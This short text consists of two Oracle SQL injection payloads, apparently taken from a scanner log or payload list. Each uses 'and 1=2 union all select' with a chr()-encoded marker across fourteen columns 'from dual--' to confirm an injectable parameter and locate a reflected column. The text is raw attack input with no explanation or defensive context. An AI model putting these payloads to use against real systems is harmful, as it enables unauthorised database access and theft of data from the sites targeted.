s and 1=2 union all select chr(50)||chr(57)||chr(49)||chr(52)||chr(56),null,null,null,null,null,null,null,null,null,null,null,null,null from dual--

s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,chr(51)||chr(56)||chr(53)||chr(54)||chr(52) from dual--